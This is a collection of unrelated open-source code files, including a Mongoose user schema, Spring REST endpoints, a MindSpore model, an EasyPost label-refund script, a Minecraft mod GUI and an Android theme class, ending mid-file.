self.password_conf.errors.append(message) validated = False if self.name.data != User.make_valid_name(self.name.data): self.name.errors.append('This nickname has ' 'invalid characters. Please use letters, numbers, dots and' ' underscores only.') validated = False return validated
adamsaparudin/portfolio-hacktiv8
11. Something Cool/server/models/user.js
const mongoose = require('mongoose'); let db = require('../db') let Schema = mongoose.Schema let userSchema = new Schema({ username: {type: String, unique: true, required: true}, password: {type: String}, email: {type: String}, name: {type: String}, bio: {type: String}, listQuestion: [{type: Schema.Types.ObjectId, ref: 'Question'}], listAnswer: [{type: Schema.Types.ObjectId, ref: 'Answer'}] }, { timestamps: true }) module.exports = mongoose.model('User', userSchema)
mrbongiolo/viu
test/support/dummy/app/views/haml_view.rb
<reponame>mrbongiolo/viu # frozen_string_literal: true class HamlView < ApplicationView end
digital-ECMT/acuity-vahub
vahub/src/main/java/com/acuity/visualisations/rest/resources/timeline/TimelineConmedsResource.java
/* * Copyright 2021 The University of Manchester * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.acuity.visualisations.rest.resources.timeline; import com.acuity.visualisations.rawdatamodel.service.timeline.ConmedsTimelineService; import com.acuity.visualisations.rawdatamodel.vo.timeline.conmeds.SubjectConmedByClass; import com.acuity.visualisations.rawdatamodel.vo.timeline.conmeds.SubjectConmedByDrug; import com.acuity.visualisations.rawdatamodel.vo.timeline.conmeds.SubjectConmedSummary; import com.acuity.visualisations.rest.model.request.conmeds.ConmedsTimelineRequest; import com.acuity.visualisations.rest.util.Constants; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import io.swagger.annotations.ApiParam; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.cache.annotation.CacheConfig; import org.springframework.cache.annotation.Cacheable; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.validation.Valid; import java.util.List; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; @RestController @Api(value = "/resources/timeline/conmeds/", description = "rest endpoints for for conmeds timeline") @RequestMapping(value = "/resources/timeline/conmeds/", consumes = APPLICATION_JSON_VALUE, produces = APPLICATION_JSON_VALUE) @PreAuthorize(Constants.PRE_AUTHORISE_VISUALISATION) @CacheConfig(keyGenerator = "datasetsKeyGenerator", cacheResolver = "refreshableCacheResolver") public class TimelineConmedsResource { @Autowired private ConmedsTimelineService conmedsTimelineService; @ApiOperation( value = "Gets the conmeds summary information for the timeline for the currently selected population and conmeds filters", nickname = "getConmedsSummaries", response = List.class, httpMethod = "POST" ) @PostMapping("conmedssummaries") @Cacheable public List<SubjectConmedSummary> getConmedsSummaries( @ApiParam(value = "TimelineConmdsRequest: Conmeds and Population Filters e.g. {conmedsFilters: {}, populationFilters: {}}", required = true) @RequestBody @Valid ConmedsTimelineRequest requestBody) { return conmedsTimelineService.getConmedsSummaries( requestBody.getDatasetsObject(), requestBody.getConmedsFilters(), requestBody.getPopulationFilters(), requestBody.getDayZero().getValue(), requestBody.getDayZero().getStringarg() ); } @ApiOperation( value = "Gets the conmeds by class information for the timeline for the currently selected population and conmeds filters", nickname = "getConmedsClasses", response = List.class, httpMethod = "POST" ) @PostMapping("conmedsbyclass") @Cacheable public List<SubjectConmedByClass> getConmedsByClass( @ApiParam(value = "TimelineEcgRequest: Conmeds and Population Filters e.g. {conmedsFilters: {}, populationFilters: {}}", required = true) @RequestBody @Valid ConmedsTimelineRequest requestBody) { return conmedsTimelineService.getConmedsByClass( requestBody.getDatasetsObject(), requestBody.getConmedsFilters(), requestBody.getPopulationFilters(), requestBody.getDayZero().getValue(), requestBody.getDayZero().getStringarg() ); } @ApiOperation( value = "Gets the conmeds by drug information for the timeline for the currently selected population and conmeds filters", nickname = "getConmedsByDrug", response = List.class, httpMethod = "POST" ) @PostMapping("conmedsbydrug") @Cacheable public List<SubjectConmedByDrug> getConmedsByDrug( @ApiParam(value = "TimelineLabsRequest: Conmeds and Population Filters e.g. {conmedsFilters: {}, populationFilters: {}}", required = true) @RequestBody @Valid ConmedsTimelineRequest requestBody) { return conmedsTimelineService.getConmedsByDrug( requestBody.getDatasetsObject(), requestBody.getConmedsFilters(), requestBody.getPopulationFilters(), requestBody.getDayZero().getValue(), requestBody.getDayZero().getStringarg() ); } }
guanghuan3/myReposity
sample/src/main/java/com/service/LinuxCondition.java
package com.service; import org.springframework.context.annotation.Condition; import org.springframework.context.annotation.ConditionContext; import org.springframework.core.type.AnnotatedTypeMetadata; /** * Created by Administrator * on 2017/3/29. */ public class LinuxCondition implements Condition { @Override public boolean matches(ConditionContext conditionContext, AnnotatedTypeMetadata annotatedTypeMetadata) { String osName = conditionContext.getEnvironment().getProperty("os.name"); System.err.println("操作系统为:" + osName); return osName.contains("Linux"); } }
kingcong/MindSpore_Code
stpm/src/stpm.py
<reponame>kingcong/MindSpore_Code # Copyright 2022 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ ''' STPM Network ''' import mindspore.nn as nn from mindspore.train.serialization import load_checkpoint, load_param_into_net from src.resnet import resnet18 def load_ckpt_to_net(network, args): print(f">>>>>>>start load {args.pre_ckpt_path}", flush=True) param = load_checkpoint(args.pre_ckpt_path) new_parm = {} for key, val in param.items(): # trans modelzoo resnet18 to backbone if "bn1d" in key: key = key.replace("bn1d", "bn1") if "bn2d" in key: key = key.replace("bn2d", "bn2") if "end_point" in key: key = key.replace("end_point", "fc") key = "model_t." + key new_parm[key] = val load_param_into_net(network, new_parm) print(f">>>>>>>load {args.pre_ckpt_path} success", flush=True) return network class STPM(nn.Cell): ''' STPM Network ''' def __init__(self, args, is_train=True, finetune=False): super(STPM, self).__init__() use_batch_statistics = False if is_train else None self.model_t = resnet18(args.num_class, use_batch_statistics=use_batch_statistics) if is_train and not finetune: self.model_t = load_ckpt_to_net(self.model_t, args) self.model_s = resnet18(args.num_class) def construct(self, x): features_s = self.model_s(x) features_t = self.model_t(x) return features_s, features_t
dcebotarenco/Work_book
Chapter_3_Osnovnie_konstruktii/src/While_Statement/While1.java
package While_Statement; import java.util.Scanner; public class While1 { public static void main (String[] args) { Scanner in = new Scanner(System.in); System.out.println("Enter your balance: "); double balance = in.nextDouble(); System.out.println("Enter your Goal: "); double goal = in.nextDouble(); double payment = 1200; double interestRate = 12; int years=0; while (balance < goal) { balance = balance + payment; double interest = balance * interestRate/100; balance += interest; years++; } System.out.println(years + " years."); } }
7-wolf/cc3172
libpro/sDyes.cpp
<reponame>7-wolf/cc3172 #include "sDyes.h" const int sDyes::c4 = 4; sDyes::sDyes() { reset(1); } void sDyes::reset(int partsCount) { while (_idxs.size() > partsCount) { _idxs.pop_back(); } while (_idxs.size() < partsCount) { _idxs.push_back(cDye::sIdxs()); resetZero(_idxs.back()); } } void sDyes::resetZero() { for (auto& idxs : _idxs) { resetZero(idxs); } } void sDyes::resetZero(cDye::sIdxs& idxs) { idxs.resize(c4); std::fill(idxs.begin(), idxs.end(), 0); } void sDyes::resetZero(int part) { resetZero(_idxs.at(part)); } const cDye::sIdxs& sDyes::get(int part) const { return _idxs.at(part); } cDye::sIdxs& sDyes::get(int part) { return _idxs.at(part); } void sDyes::save()const { sStream& sav = *cSave::getSave(); sav << _idxs.size() << s_space; forr(_idxs, k) { const auto& idxs = _idxs.at(k); forr(idxs, i) { sav << idxs[i] << s_space; } } } void sDyes::load() { sStream& sav = *cSave::getLoad(); int size; sav >> size; _idxs.resize(size); forr(_idxs, k) { auto& idxs = _idxs.at(k); forr(idxs, i) { sav >> idxs[i]; } } }
gyselroth/docxbox
docxbox/docx/component/media.cc
<reponame>gyselroth/docxbox // Copyright (c) 2020 gyselroth GmbH // Licensed under the MIT License - https://opensource.org/licenses/MIT #include <docxbox/docx/component/media.h> #include <utility> media::media(std::string path_extract) { path_media_ = path_extract + "/word/media"; path_extract_ = std::move(path_extract); } // Copy given image file into media/<file>, set media_path_new_image_ bool media::AddImageFile(const std::string& path_image) { // std::string number = GetNextImageNumber(); // std::string filename_image = // "image" + number + "." + helper::File::GetExtension(path_image); std::string filename_image = helper::File::GetBasename(path_image); std::string path_destination = path_media_ + "/" + filename_image; if (!helper::File::IsDir(path_media_)) mkdir(path_media_.c_str(), 0777); try { if (!helper::File::CopyFile(path_image, path_destination)) return false; } catch (std::string &message) { return docxbox::AppLog::NotifyError(message); } media_path_new_image_ = "media/" + filename_image; return true; } // Get next highest number, rel. to trailing number within any image filename std::string media::GetNextImageNumber() { auto image_files = helper::File::ScanDir(path_media_.c_str()); int number = 1; for (const auto& filename : image_files) { if (!helper::File::IsWordCompatibleImage(filename)) continue; std::string no_current = helper::String::ExtractTrailingNumber(filename); if (no_current.empty()) continue; int number_current = std::stoi(no_current); if (number_current > number) number = number_current; } ++number; return std::to_string(number); } // Get (add if not exists) relationship into _rels/document.xml.rels std::string media::GetRelationshipId(const std::string &target) { auto rels = new docx_xml_rels(path_extract_); auto relationship_id = rels->GetRelationShipIdByTarget( target, rels::RelationType_Image); delete rels; return relationship_id; } std::string media::GetMediaPathNewImage() { return media_path_new_image_; }
slliac/Ljus4Food
application/html/namespace_prophecy_1_1_util.js
var namespace_prophecy_1_1_util = [ [ "ExportUtil", "class_prophecy_1_1_util_1_1_export_util.html", null ], [ "StringUtil", "class_prophecy_1_1_util_1_1_string_util.html", "class_prophecy_1_1_util_1_1_string_util" ] ];
tommyTT/Cyclic
src/main/java/com/lothrazar/cyclicmagic/item/storagesack/GuiStorage.java
/******************************************************************************* * The MIT License (MIT) * * Copyright (C) 2014-2018 <NAME> (aka Lothrazar) * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. ******************************************************************************/ package com.lothrazar.cyclicmagic.item.storagesack; import java.io.IOException; import com.lothrazar.cyclicmagic.ModCyclic; import com.lothrazar.cyclicmagic.core.gui.GuiBaseContainer; import com.lothrazar.cyclicmagic.core.gui.GuiButtonTooltip; import com.lothrazar.cyclicmagic.core.util.Const.ScreenSize; import com.lothrazar.cyclicmagic.core.util.UtilChat; import net.minecraft.client.gui.GuiButton; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.item.EnumDyeColor; public class GuiStorage extends GuiBaseContainer { private GuiButtonTooltip buttonToggle; private EntityPlayer player; public GuiStorage(ContainerStorage containerItem, EntityPlayer player) { super(containerItem); this.player = player; this.setScreenSize(ScreenSize.SACK); } @Override public void initGui() { super.initGui(); int id = 0; int y = this.guiTop; int x = this.guiLeft; buttonToggle = new GuiButtonTooltip(75, x, y, 10, 10, ""); buttonToggle.setTooltip("item.storage_bag.toggle"); this.addButton(buttonToggle); int i = 0; int size = 12; for (EnumDyeColor color : EnumDyeColor.values()) { GuiButtonTooltip buttonColour = new GuiButtonTooltip(color.getColorValue(), x - size, y + size * i, size, size, color.name().substring(0, 1)); buttonColour.setTooltip(UtilChat.lang("colour." + color.getUnlocalizedName() + ".name")); buttonColour.packedFGColour = color.getColorValue(); this.addButton(buttonColour); i++; } } @Override protected void actionPerformed(GuiButton button) throws IOException { if (button.id == this.buttonToggle.id) { ModCyclic.network.sendToServer(new PacketStorageBag()); } else { ItemStorageBag.StorageActionType.setColour(player.getHeldItemMainhand(), button.id); ModCyclic.network.sendToServer(new PacketColorStack(button.id)); } } }
Justintime50/easypost-tools
src/tools/node/refund-labels.js
<reponame>Justintime50/easypost-tools require("dotenv").config(); require("babel-polyfill"); const Easypost = require("@easypost/api"); const api = new Easypost(process.env.prodkey); // Attribution: [<NAME>](https://github.com/LoganSimonsen) // WARNING: this will refund/void all production labels in "pre_transit" or "unknown" status after the start date // uses this endpoint https://www.easypost.com/docs/api#retrieve-a-list-of-shipments api.Shipment.all({ page_size: 100, start_datetime: "2019-11-13" // should be less than 30 days. }).then(shipments => { // if we don't find any shipments to refund then this variable will remain false let found = false; // iterate through shipments and find shipments in a state eligible for refund (pre_transit or unknown, also not already refunded) for (let i = 0; i < shipments.length; i++) { if ( (shipments[i].status === "unknown" && shipments[i].refund_status !== "refunded") || (shipments[i].status === "pre_transit" && shipments[i].refund_status !== "refunded") ) { found = true; api.Shipment.retrieve(shipments[i].id).then(shipment => { shipment.refund().then(() => console.log( "shipment: " + shipment.id, " | action: refunding...", " | status: " + shipment.refund_status ) ); }).catch(console.log); } } // tell us if there was nothing found to refund if (!found) { console.log("No shipments to refund"); } });
LinXueyuanStdio/SAMView
component/Theme/src/main/java/com/same/lib/theme/Theme.java
package com.same.lib.theme; import android.app.Activity; import android.content.Context; import android.content.SharedPreferences; import android.content.res.Configuration; import android.graphics.Color; import android.graphics.PorterDuffColorFilter; import android.hardware.Sensor; import android.hardware.SensorManager; import android.os.Build; import android.text.TextUtils; import android.view.Window; import com.same.lib.base.AndroidUtilities; import com.same.lib.base.NotificationCenter; import com.same.lib.util.UIThread; import org.json.JSONArray; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; /** * @author 林学渊 * @email <EMAIL> * @date 2020/8/25 * @description null * @usage null * 主题管理 */ public class Theme { public static final String DEFAULT_BACKGROUND_SLUG = "d"; public static final String THEME_BACKGROUND_SLUG = "t"; public static final String COLOR_BACKGROUND_SLUG = "c"; //region field public static final int ACTION_BAR_PHOTO_VIEWER_COLOR = 0x7f000000; public static final int ACTION_BAR_MEDIA_PICKER_COLOR = 0xff333333; public static final int ACTION_BAR_VIDEO_EDIT_COLOR = 0xff000000; public static final int ACTION_BAR_PLAYER_COLOR = 0xffffffff; public static final int ACTION_BAR_PICKER_SELECTOR_COLOR = 0xff3d3d3d; public static final int ACTION_BAR_WHITE_SELECTOR_COLOR = 0x40ffffff; public static final int ACTION_BAR_AUDIO_SELECTOR_COLOR = 0x2f000000; public static final int ARTICLE_VIEWER_MEDIA_PROGRESS_COLOR = 0xffffffff; public static final int AUTO_NIGHT_TYPE_NONE = 0; public static final int AUTO_NIGHT_TYPE_SCHEDULED = 1; public static final int AUTO_NIGHT_TYPE_AUTOMATIC = 2; public static final int AUTO_NIGHT_TYPE_SYSTEM = 3; static final int LIGHT_SENSOR_THEME_SWITCH_DELAY = 1800; static final int LIGHT_SENSOR_THEME_SWITCH_NEAR_DELAY = 12000; static final int LIGHT_SENSOR_THEME_SWITCH_NEAR_THRESHOLD = 12000; static SensorManager sensorManager; static Sensor lightSensor; static boolean lightSensorRegistered; static float lastBrightnessValue = 1.0f; static long lastThemeSwitchTime; static boolean switchDayRunnableScheduled; static boolean switchNightRunnableScheduled; static Runnable switchDayBrightnessRunnable = new Runnable() { @Override public void run() { switchDayRunnableScheduled = false; ThemeManager.applyDayNightThemeMaybe(false); } }; static Runnable switchNightBrightnessRunnable = new Runnable() { @Override public void run() { switchNightRunnableScheduled = false; ThemeManager.applyDayNightThemeMaybe(true); } }; public static int DEFALT_THEME_ACCENT_ID = 99; public static int selectedAutoNightType = AUTO_NIGHT_TYPE_NONE; public static boolean autoNightScheduleByLocation; public static float autoNightBrighnessThreshold = 0.25f; public static int autoNightDayStartTime = 22 * 60; public static int autoNightDayEndTime = 8 * 60; public static int autoNightSunsetTime = 22 * 60; public static int autoNightLastSunCheckDay = -1; public static int autoNightSunriseTime = 8 * 60; public static String autoNightCityName = ""; public static double autoNightLocationLatitude = 10000; public static double autoNightLocationLongitude = 10000; public static ArrayList<ThemeInfo> themes; static ArrayList<ThemeInfo> otherThemes; static HashMap<String, ThemeInfo> themesDict; static ThemeInfo currentTheme; static ThemeInfo currentNightTheme; static ThemeInfo currentDayTheme; static ThemeInfo defaultTheme; static ThemeInfo previousTheme; static boolean hasPreviousTheme; static boolean isApplyingAccent; static boolean switchingNightTheme; static boolean isInNigthMode; static int switchNightThemeDelay; static long lastDelayUpdateTime; public static PorterDuffColorFilter colorFilter; static boolean isCustomTheme; static HashMap<String, Integer> defaultColors = new HashMap<>(); static HashMap<String, String> fallbackKeys = new HashMap<>(); static HashSet<String> themeAccentExclusionKeys = new HashSet<>(); static HashMap<String, Integer> currentColorsNoAccent; public static HashMap<String, Integer> currentColors; static HashMap<String, Integer> animatingColors; public static boolean shouldDrawGradientIcons; static ThreadLocal<float[]> hsvTemp1Local = new ThreadLocal<>(); static ThreadLocal<float[]> hsvTemp2Local = new ThreadLocal<>(); static ThreadLocal<float[]> hsvTemp3Local = new ThreadLocal<>(); static ThreadLocal<float[]> hsvTemp4Local = new ThreadLocal<>(); static ThreadLocal<float[]> hsvTemp5Local = new ThreadLocal<>(); //endregion static { //region defaultColors defaultColors.put(KeyHub.key_dialogBackground, 0xffffffff); defaultColors.put(KeyHub.key_dialogBackgroundGray, 0xfff0f0f0); defaultColors.put(KeyHub.key_dialogTextBlack, 0xff222222); defaultColors.put(KeyHub.key_dialogTextLink, 0xff2678b6); defaultColors.put(KeyHub.key_dialogLinkSelection, 0x3362a9e3); defaultColors.put(KeyHub.key_dialogTextRed, 0xffcd5a5a); defaultColors.put(KeyHub.key_dialogTextRed2, 0xffde3a3a); defaultColors.put(KeyHub.key_dialogTextBlue, 0xff2f8cc9); defaultColors.put(KeyHub.key_dialogTextBlue2, 0xff3a95d5); defaultColors.put(KeyHub.key_dialogTextBlue3, 0xff3ec1f9); defaultColors.put(KeyHub.key_dialogTextBlue4, 0xff19a7e8); defaultColors.put(KeyHub.key_dialogTextGray, 0xff348bc1); defaultColors.put(KeyHub.key_dialogTextGray2, 0xff757575); defaultColors.put(KeyHub.key_dialogTextGray3, 0xff999999); defaultColors.put(KeyHub.key_dialogTextGray4, 0xffb3b3b3); defaultColors.put(KeyHub.key_dialogTextHint, 0xff979797); defaultColors.put(KeyHub.key_dialogIcon, 0xff676b70); defaultColors.put(KeyHub.key_dialogRedIcon, 0xffe14d4d); defaultColors.put(KeyHub.key_dialogGrayLine, 0xffd2d2d2); defaultColors.put(KeyHub.key_dialogTopBackground, 0xff6fb2e5); defaultColors.put(KeyHub.key_dialogInputField, 0xffdbdbdb); defaultColors.put(KeyHub.key_dialogInputFieldActivated, 0xff37a9f0); defaultColors.put(KeyHub.key_dialogCheckboxSquareBackground, 0xff43a0df); defaultColors.put(KeyHub.key_dialogCheckboxSquareCheck, 0xffffffff); defaultColors.put(KeyHub.key_dialogCheckboxSquareUnchecked, 0xff737373); defaultColors.put(KeyHub.key_dialogCheckboxSquareDisabled, 0xffb0b0b0); defaultColors.put(KeyHub.key_dialogRadioBackground, 0xffb3b3b3); defaultColors.put(KeyHub.key_dialogRadioBackgroundChecked, 0xff37a9f0); defaultColors.put(KeyHub.key_dialogProgressCircle, 0xff289deb); defaultColors.put(KeyHub.key_dialogLineProgress, 0xff527da3); defaultColors.put(KeyHub.key_dialogLineProgressBackground, 0xffdbdbdb); defaultColors.put(KeyHub.key_dialogButton, 0xff4991cc); defaultColors.put(KeyHub.key_dialogButtonSelector, 0x0f000000); defaultColors.put(KeyHub.key_dialogScrollGlow, 0xfff5f6f7); defaultColors.put(KeyHub.key_dialogRoundCheckBox, 0xff4cb4f5); defaultColors.put(KeyHub.key_dialogRoundCheckBoxCheck, 0xffffffff); defaultColors.put(KeyHub.key_dialogBadgeBackground, 0xff3ec1f9); defaultColors.put(KeyHub.key_dialogBadgeText, 0xffffffff); defaultColors.put(KeyHub.key_dialogCameraIcon, 0xffffffff); defaultColors.put(KeyHub.key_dialog_inlineProgressBackground, 0xf6f0f2f5); defaultColors.put(KeyHub.key_dialog_inlineProgress, 0xff6b7378); defaultColors.put(KeyHub.key_dialogSearchBackground, 0xfff2f4f5); defaultColors.put(KeyHub.key_dialogSearchHint, 0xff98a0a7); defaultColors.put(KeyHub.key_dialogSearchIcon, 0xffa1a8af); defaultColors.put(KeyHub.key_dialogSearchText, 0xff222222); defaultColors.put(KeyHub.key_dialogFloatingButton, 0xff4cb4f5); defaultColors.put(KeyHub.key_dialogFloatingButtonPressed, 0x0f000000); defaultColors.put(KeyHub.key_dialogFloatingIcon, 0xffffffff); defaultColors.put(KeyHub.key_dialogShadowLine, 0x12000000); defaultColors.put(KeyHub.key_dialogEmptyImage, 0xff9fa4a8); defaultColors.put(KeyHub.key_dialogEmptyText, 0xff8c9094); defaultColors.put(KeyHub.key_windowBackgroundWhite, 0xffffffff); defaultColors.put(KeyHub.key_windowBackgroundUnchecked, 0xff9da7b1); defaultColors.put(KeyHub.key_windowBackgroundChecked, 0xff579ed9); defaultColors.put(KeyHub.key_windowBackgroundCheckText, 0xffffffff); defaultColors.put(KeyHub.key_progressCircle, 0xff1c93e3); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayIcon, 0xff81868b); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueText, 0xff4092cd); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueText2, 0xff3a95d5); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueText3, 0xff2678b6); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueText4, 0xff1c93e3); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueText5, 0xff4c8eca); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueText6, 0xff3a8ccf); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueText7, 0xff377aae); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueButton, 0xff1e88d3); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueIcon, 0xff379de5); defaultColors.put(KeyHub.key_windowBackgroundWhiteGreenText, 0xff26972c); defaultColors.put(KeyHub.key_windowBackgroundWhiteGreenText2, 0xff37a818); defaultColors.put(KeyHub.key_windowBackgroundWhiteRedText, 0xffcd5a5a); defaultColors.put(KeyHub.key_windowBackgroundWhiteRedText2, 0xffdb5151); defaultColors.put(KeyHub.key_windowBackgroundWhiteRedText3, 0xffd24949); defaultColors.put(KeyHub.key_windowBackgroundWhiteRedText4, 0xffcf3030); defaultColors.put(KeyHub.key_windowBackgroundWhiteRedText5, 0xffed3939); defaultColors.put(KeyHub.key_windowBackgroundWhiteRedText6, 0xffff6666); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText, 0xff838c96); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText2, 0xff82868a); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText3, 0xff999999); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText4, 0xff808080); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText5, 0xffa3a3a3); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText6, 0xff757575); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText7, 0xffc6c6c6); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayText8, 0xff6d6d72); defaultColors.put(KeyHub.key_windowBackgroundWhiteGrayLine, 0xffdbdbdb); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlackText, 0xff222222); defaultColors.put(KeyHub.key_windowBackgroundWhiteHintText, 0xffa8a8a8); defaultColors.put(KeyHub.key_windowBackgroundWhiteValueText, 0xff3a95d5); defaultColors.put(KeyHub.key_windowBackgroundWhiteLinkText, 0xff2678b6); defaultColors.put(KeyHub.key_windowBackgroundWhiteLinkSelection, 0x3362a9e3); defaultColors.put(KeyHub.key_windowBackgroundWhiteBlueHeader, 0xff3a95d5); defaultColors.put(KeyHub.key_windowBackgroundWhiteInputField, 0xffdbdbdb); defaultColors.put(KeyHub.key_windowBackgroundWhiteInputFieldActivated, 0xff37a9f0); defaultColors.put(KeyHub.key_switchTrack, 0xffb0b5ba); defaultColors.put(KeyHub.key_switchTrackChecked, 0xff52ade9); defaultColors.put(KeyHub.key_switchTrackBlue, 0xff828e99); defaultColors.put(KeyHub.key_switchTrackBlueChecked, 0xff3c88c7); defaultColors.put(KeyHub.key_switchTrackBlueThumb, 0xffffffff); defaultColors.put(KeyHub.key_switchTrackBlueThumbChecked, 0xffffffff); defaultColors.put(KeyHub.key_switchTrackBlueSelector, 0x17404a53); defaultColors.put(KeyHub.key_switchTrackBlueSelectorChecked, 0x21024781); defaultColors.put(KeyHub.key_switch2Track, 0xfff57e7e); defaultColors.put(KeyHub.key_switch2TrackChecked, 0xff52ade9); defaultColors.put(KeyHub.key_checkboxSquareBackground, 0xff43a0df); defaultColors.put(KeyHub.key_checkboxSquareCheck, 0xffffffff); defaultColors.put(KeyHub.key_checkboxSquareUnchecked, 0xff737373); defaultColors.put(KeyHub.key_checkboxSquareDisabled, 0xffb0b0b0); defaultColors.put(KeyHub.key_listSelector, 0x0f000000); defaultColors.put(KeyHub.key_radioBackground, 0xffb3b3b3); defaultColors.put(KeyHub.key_radioBackgroundChecked, 0xff37a9f0); defaultColors.put(KeyHub.key_windowBackgroundGray, 0xfff0f0f0); defaultColors.put(KeyHub.key_windowBackgroundGrayShadow, 0xff000000); defaultColors.put(KeyHub.key_emptyListPlaceholder, 0xff959595); defaultColors.put(KeyHub.key_divider, 0xffd9d9d9); defaultColors.put(KeyHub.key_graySection, 0xfff5f5f5); defaultColors.put(KeyHub.key_graySectionText, 0xff82878A); defaultColors.put(KeyHub.key_fastScrollActive, 0xff52a3db); defaultColors.put(KeyHub.key_fastScrollInactive, 0xffc9cdd1); defaultColors.put(KeyHub.key_fastScrollText, 0xffffffff); defaultColors.put(KeyHub.key_actionBarDefault, 0xff527da3); defaultColors.put(KeyHub.key_actionBarDefaultIcon, 0xffffffff); defaultColors.put(KeyHub.key_actionBarActionModeDefault, 0xffffffff); defaultColors.put(KeyHub.key_actionBarActionModeDefaultTop, 0x10000000); defaultColors.put(KeyHub.key_actionBarActionModeDefaultIcon, 0xff676a6f); defaultColors.put(KeyHub.key_actionBarDefaultTitle, 0xffffffff); defaultColors.put(KeyHub.key_actionBarDefaultSubtitle, 0xffd5e8f7); defaultColors.put(KeyHub.key_actionBarDefaultSelector, 0xff406d94); defaultColors.put(KeyHub.key_actionBarWhiteSelector, 0x1d000000); defaultColors.put(KeyHub.key_actionBarDefaultSearch, 0xffffffff); defaultColors.put(KeyHub.key_actionBarDefaultSearchPlaceholder, 0x88ffffff); defaultColors.put(KeyHub.key_actionBarDefaultSubmenuItem, 0xff222222); defaultColors.put(KeyHub.key_actionBarDefaultSubmenuItemIcon, 0xff676b70); defaultColors.put(KeyHub.key_actionBarDefaultSubmenuBackground, 0xffffffff); defaultColors.put(KeyHub.key_actionBarActionModeDefaultSelector, 0xffe2e2e2); defaultColors.put(KeyHub.key_actionBarTabActiveText, 0xffffffff); defaultColors.put(KeyHub.key_actionBarTabUnactiveText, 0xffd5e8f7); defaultColors.put(KeyHub.key_actionBarTabLine, 0xffffffff); defaultColors.put(KeyHub.key_actionBarTabSelector, 0xff406d94); defaultColors.put(KeyHub.key_actionBarBrowser, 0xffffffff); defaultColors.put(KeyHub.key_actionBarDefaultArchived, 0xff6f7a87); defaultColors.put(KeyHub.key_actionBarDefaultArchivedSelector, 0xff5e6772); defaultColors.put(KeyHub.key_actionBarDefaultArchivedIcon, 0xffffffff); defaultColors.put(KeyHub.key_actionBarDefaultArchivedTitle, 0xffffffff); defaultColors.put(KeyHub.key_actionBarDefaultArchivedSearch, 0xffffffff); defaultColors.put(KeyHub.key_actionBarDefaultArchivedSearchPlaceholder, 0x88ffffff); defaultColors.put(KeyHub.key_checkbox, 0xff5ec245); defaultColors.put(KeyHub.key_checkboxCheck, 0xffffffff); defaultColors.put(KeyHub.key_checkboxDisabled, 0xffb0b9c2); //endregion //region fallbackKeys fallbackKeys.put(KeyHub.key_graySectionText, KeyHub.key_windowBackgroundWhiteGrayText2); fallbackKeys.put(KeyHub.key_dialog_inlineProgressBackground, KeyHub.key_windowBackgroundGray); fallbackKeys.put(KeyHub.key_windowBackgroundWhiteBlueButton, KeyHub.key_windowBackgroundWhiteValueText); fallbackKeys.put(KeyHub.key_windowBackgroundWhiteBlueIcon, KeyHub.key_windowBackgroundWhiteValueText); fallbackKeys.put(KeyHub.key_windowBackgroundUnchecked, KeyHub.key_windowBackgroundWhite); fallbackKeys.put(KeyHub.key_windowBackgroundChecked, KeyHub.key_windowBackgroundWhite); fallbackKeys.put(KeyHub.key_switchTrackBlue, KeyHub.key_switchTrack); fallbackKeys.put(KeyHub.key_switchTrackBlueChecked, KeyHub.key_switchTrackChecked); fallbackKeys.put(KeyHub.key_switchTrackBlueThumb, KeyHub.key_windowBackgroundWhite); 